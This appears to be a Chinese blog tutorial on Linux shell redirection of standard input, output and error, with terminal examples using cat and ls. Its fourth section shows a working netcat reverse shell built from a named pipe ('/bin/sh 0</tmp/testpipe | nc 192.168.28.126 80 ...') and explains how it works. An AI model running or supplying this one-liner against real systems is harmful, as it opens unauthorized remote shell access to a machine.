linux shell 之 输入输出重定向
1,标准输出,及错误输出
标注输出:指令执行所回传的正确信息 标准错误输出:指令执行失败所传回来的信息
标准输入 (stdin) :代码 0 ,使用 < 或 << ; 标准输出 (stdout):代码 1 ,使用 > 或 >> ; 标准错误输出 (stderr):代码 2 ,使用 2> 或 2>> ;
看着很简单明白吧,:-),来看看示例吧
1,标准错误出书
[root@c2y2 /]# cat /test 2>1.txt [root@c2y2 /]# cat 1.txt cat: /test: No such file or directory [root@c2y2 /]#2,标准输出
[root@c2y2 /]# ls -al 1>ls.txt [root@c2y2 /]# cat ls.txt total 15194 dr-xr-xr-x. 25 root root 4096 Mar 24 23:26 . dr-xr-xr-x. 25 root root 4096 Mar 24 23:26 .. -rw-r--r--. 1 root root 38 Mar 24 23:24 1.txt -rw-r--r--. 1 root root 0 Mar 13 00:37 .autofsck dr-xr-xr-x. 2 root root 4096 Mar 14 03:20 bin dr-xr-xr-x. 5 root root 1024 Feb 12 21:54 boot drwx------. 3 root root 4096 Feb 25 2013 .dbus drwxr-xr-x. 17 root root 3580 Mar 22 22:44 dev drwxr-xr-x. 118 root root 12288 Mar 22 15:07 etc drwxr-xr-x. 3 root root 4096 Feb 25 22:03 home dr-xr-xr-x. 18 root root 12288 Mar 13 14:01 lib drwx------. 2 root root 16384 Feb 25 2013 lost+found -rw-r--r--. 1 root root 0 Mar 24 23:26 ls.txt drwxr-xr-x. 3 root root 4096 Feb 12 08:59 media drwxr-xr-x. 2 root root 4096 Feb 27 2013 media2 drwxr-xr-x. 2 root root 0 Mar 13 00:37 misc drwxr-xr-x. 2 root root 4096 Sep 23 2011 mnt drwxr-xr-x. 2 root root 0 Mar 13 00:37 net drwxr-xr-x. 5 root root 4096 Feb 19 20:15 opt dr-xr-xr-x. 123 root root 0 Mar 13 00:31 proc dr-xr-x---. 21 root root 4096 Mar 24 23:22 root dr-xr-xr-x. 2 root root 12288 Mar 13 14:01 sbin drwxr-xr-x. 7 root root 0 Mar 13 00:31 selinux drwxr-xr-x. 2 root root 4096 Sep 23 2011 srv drwxr-xr-x. 13 root root 0 Mar 13 00:31 sys drwxrwxrwt. 6 root root 4096 Mar 24 22:23 tmp drwxr-xr-x. 14 root root 4096 Feb 22 12:55 usr drwxr-xr-x. 22 root root 4096 Feb 25 2013 var [root@c2y2 /]#
3,标准输入
[root@c2y2 /]# cat > lstest.txt 0< ls.txt
[root@c2y2 /]# cat lstest.txt
total 15194
dr-xr-xr-x. 25 root root 4096 Mar 24 23:26 .
dr-xr-xr-x. 25 root root 4096 Mar 24 23:26 ..
-rw-r--r--. 1 root root 38 Mar 24 23:24 1.txt
-rw-r--r--. 1 root root 0 Mar 13 00:37 .autofsck
dr-xr-xr-x. 2 root root 4096 Mar 14 03:20 bin
dr-xr-xr-x. 5 root root 1024 Feb 12 21:54 boot
drwx------. 3 root root 4096 Feb 25 2013 .dbus
drwxr-xr-x. 17 root root 3580 Mar 22 22:44 dev
drwxr-xr-x. 118 root root 12288 Mar 22 15:07 etc
drwxr-xr-x. 3 root root 4096 Feb 25 22:03 home
-rw-r--r--. 1 root root 15438448 Feb 25 2013 initramfs-2.6.32-220.el6.i686.img
dr-xr-xr-x. 18 root root 12288 Mar 13 14:01 lib
drwx------. 2 root root 16384 Feb 25 2013 lost+found
-rw-r--r--. 1 root root 0 Mar 24 23:26 ls.txt
drwxr-xr-x. 3 root root 4096 Feb 12 08:59 media
drwxr-xr-x. 2 root root 4096 Feb 27 2013 media2
drwxr-xr-x. 2 root root 0 Mar 13 00:37 misc
drwxr-xr-x. 2 root root 4096 Sep 23 2011 mnt
drwxr-xr-x. 2 root root 0 Mar 13 00:37 net
drwxr-xr-x. 5 root root 4096 Feb 19 20:15 opt
dr-xr-xr-x. 123 root root 0 Mar 13 00:31 proc
dr-xr-x---. 21 root root 4096 Mar 24 23:22 root
dr-xr-xr-x. 2 root root 12288 Mar 13 14:01 sbin
drwxr-xr-x. 7 root root 0 Mar 13 00:31 selinux
drwxr-xr-x. 2 root root 4096 Sep 23 2011 srv
drwxr-xr-x. 13 root root 0 Mar 13 00:31 sys
drwxrwxrwt. 6 root root 4096 Mar 24 22:23 tmp
drwxr-xr-x. 14 root root 4096 Feb 22 12:55 usr
drwxr-xr-x. 22 root root 4096 Feb 25 2013 var
[root@c2y2 /]#
4,综合标准输入输出合起来,通过nc及管道建立反弹
服务器端:/bin/sh 0</tmp/testpipe |nc 192.168.28.126 80 1>/tmp/testpipe
客户端:nc -lvp 80:-),这样我们就可以在本地客户端实现shell交互了
命令分解:
服务器端两部曲:
首先创建管道
mknod /tmp/testpipe p然后就综合了:
/bin/sh 0</tmp/testpipe |nc 192.168.28.126 80 1>/tmp/testpipe工作原理:首先将管道testpipe内容作为标准输入为bash执行,并将结果通过‘|’输入到远端192.168.28.126,而远端的输入又将重定向输入本地管道testpipe,而testpipe又将作为标注输入到bash执行,:-),就这么一个循环,一个交互shell就这样ok了
管道:
1,管道命令仅能处理标准的输入输出
2,管道的输出必须能接受前一个指令的标准输出为标准输入并继续执行
3,建立管道的方式:mknod xxx p 或者mkfifo xxx
dropbox:邀请您的加入,让你随时随地同步您的文件:https://db.tt/wCU4HQq4
人生格言: 如果说人生是自我编写的程序, 那么青春就是其中意味深长的代码。 或简单,分解成彼此独立的字符: 或复杂, 拼凑成一连串神秘的语句。 我们尝试着不断调试, 不断优化,无论编译结果如何, 过程才是最美。 如果说这段代码不能复制, 那么我愿意用一生去续写.
评论
发表评论
|
|